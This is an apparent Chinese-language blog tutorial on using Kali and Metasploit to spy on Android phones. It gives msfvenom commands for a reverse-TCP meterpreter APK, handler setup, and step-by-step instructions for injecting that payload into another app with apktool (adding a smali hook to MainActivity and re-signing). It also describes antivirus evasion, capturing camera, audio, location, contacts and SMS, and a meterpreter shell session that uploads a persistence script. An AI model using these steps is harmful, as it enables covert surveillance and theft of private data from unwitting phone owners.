kali是不容多说的渗透测试系统了 自己总结一下一些通过注入payload来实现监听Android的一些经验了
基本操作
首先是生成注入payload的小马apk(4444是监听端口)
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.106 LRT=4444 R>app.apk
查看本地地址
ifconfig
打开msfconsole来设置监听
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.0.xxx(刚才的本地监听地址)
set LPORT 4444
然后查看show options是否设置无误 之后在监听设备上安装好小马给予全部权限并打开一次应用
然后监听端/exploit
然后华丽丽的看到了各种可执行命令的帮助,查看文件,远程执行命令,录音,摄像,定位,查看联系人、通话记录、短信系统信息什么的 剩下的就没什么好说的了 需要注意的是打开摄像头执行/webcam_snap -i 1 先要webcam_snap info查看设备摄像头在根据情况来选择1/2/3
进阶
毕竟也没那么容易让目标安装,所以我们要将之前生成的小马注入到其他app内。可行的话可以替换字符来达到免杀,这点我也没试过,不过也有一些免杀工具,不过没过多久就失效了。还有一些问题,比如监听的app很容易被杀失去连接,也很难让目标持续打开应用。针对以上问题可以用以下方法解决
要将小马注入其他apk中,首先和之前一样生成一个注入payload的apk,例如名为pentestlab
msfvenom -p android<span class="hljs-meta-keyword">/meterpreter/</span>reverse_tcp LHOST=<span class="hljs-number">192.168</span><span class="hljs-number">.1</span><span class="hljs-number">.169</span> LPORT=<span class="hljs-number">4444</span> R > pentestlab.apk
然后用apktool反翻译pentestlab和目标target
java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk java -jar apktool.jar d -f -o payload /root/Downloads/target.apk 之后提取pentestlab的smail
/root/Downloads/payload/smali/com/metasploit/stage /root/Downloads/original/smali/com/metasploit/stage
然后hook找到target的MainActivity位置
在MainActivity搜索onCreate并添加一行
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
最后在target的Manifest.xml添加payload所需的权限
回编译java -jar apktool.jar b /root/appname
生成KEYSTORE:keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA -keysize 1024 -validity 22222
签名:jarsigner -keystore mykey.keystore apkname.apk alias_name -sigalg MD5withRSA -digestalg SHA1
大功告成 不过目标应用尽量选些简单的,混淆加固了就不好弄了,当初就吃了这种亏
还有以下简单的方法注入目标app,不过现在apk都结实了我没成功
msfvenom -x 1.apk -p android/meterpreter/reverse_https LHOST=xxxx LPORT=xxx -o a.apk 至于监听断掉已经有人通过执行脚本解决了
再启动监听是快速执行以下脚本
meterpreter > pwd 找到当前路径
/data/user/0/com.baidu.flashlight/files
meterpreter > cd /data/user/0/com.baidu.flashlight/files
meterpreter >
meterpreter > upload /root/桌面/chixu.sh 上传脚本
[*] uploading : /root/桌面/chixu.sh -> chixu.sh
[*] uploaded : /root/桌面/chixu.sh -> chixu.sh
meterpreter > shell
Process 1 created.
Channel 2 created.
pwd
/
cd /data/user/0/com.baidu.flashlight/files 找到脚本所在文件夹
ls
be03bdfb7aec72fd9195311f2656619a
chixu.sh
sh chixu.sh
最后要说的:很多地方也没有说很清楚,没有什么技术含量,我也是向其他人学习的,YouTube也上有不少教程, 真的要是监听的话还是要备个vps远程监听比较好,可以参考http://t.cn/RSgE7uE 其他参考建议参考http://t.cn/Rahxkmk http://t.cn/RKA5QeF